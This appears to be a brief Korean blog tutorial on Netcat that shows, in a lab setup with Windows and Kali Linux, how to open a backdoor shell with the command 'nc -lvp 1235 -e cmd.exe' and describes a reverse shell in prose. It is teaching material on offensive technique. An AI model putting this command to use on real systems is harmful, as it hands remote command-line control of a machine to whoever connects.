[Web Hacking & Security] NC(Netcat) 사용방법

-   NC는 다양한 목적으로 활용이 가능한 툴이다.

-   주로 백도어 쉘 또는 리버스 쉘 기능을 사용할 수 있다.

 

 

윈도우용 NC 다운로드

https://eternallybored.org/misc/netcat/

netcat 1.11 for Win32/Win64

리눅스용 NC 다운로드

https://sourceforge.net/projects/nc110/

Netcat

 

1. 백도어 쉘 (Backdoor Shell)

-   NC를 사용하여 특정 포트를 Listening 상태로 열어놓고, 외부에서 해당 포트의 존재를 알고있는 사용자가 해당 포트로 접근 시 특정 권한을 부여하는 것이 가능하다. (ex. CMD)

 

-   Window_A에서 nc가 있는 폴더에서 nc를 실행시켜 1235번 포트를 Listening 상태로 만든다.

-   nc -lvp 1235 -e cmd.exe

 

 

-   Kali Linux에서 telnet을 통해 1235번포트로 접속하면 cmd 관리자 권한을 얻을 수 있다.

 

-   window_A에서 netstat로 확인해보면 ESTABLISHED상태인것을 확인할 수 있다.

 

2. 리버스 쉘 (Reverse Shell)

-   특정 시스템이 자신의 권한(cmd)을 들고 상대방 시스템(Kali)을 찾아가는 방식이다.

-   Kali Linux에서 1235번 포트를 열어둔다.

 

 

-   Window_A에서 1235번 포트로 cmd권한을 전송한다.

 

 

-   Kali Linux에서 Window_A의 cmd권한을 얻은것을 확인할 수 있다.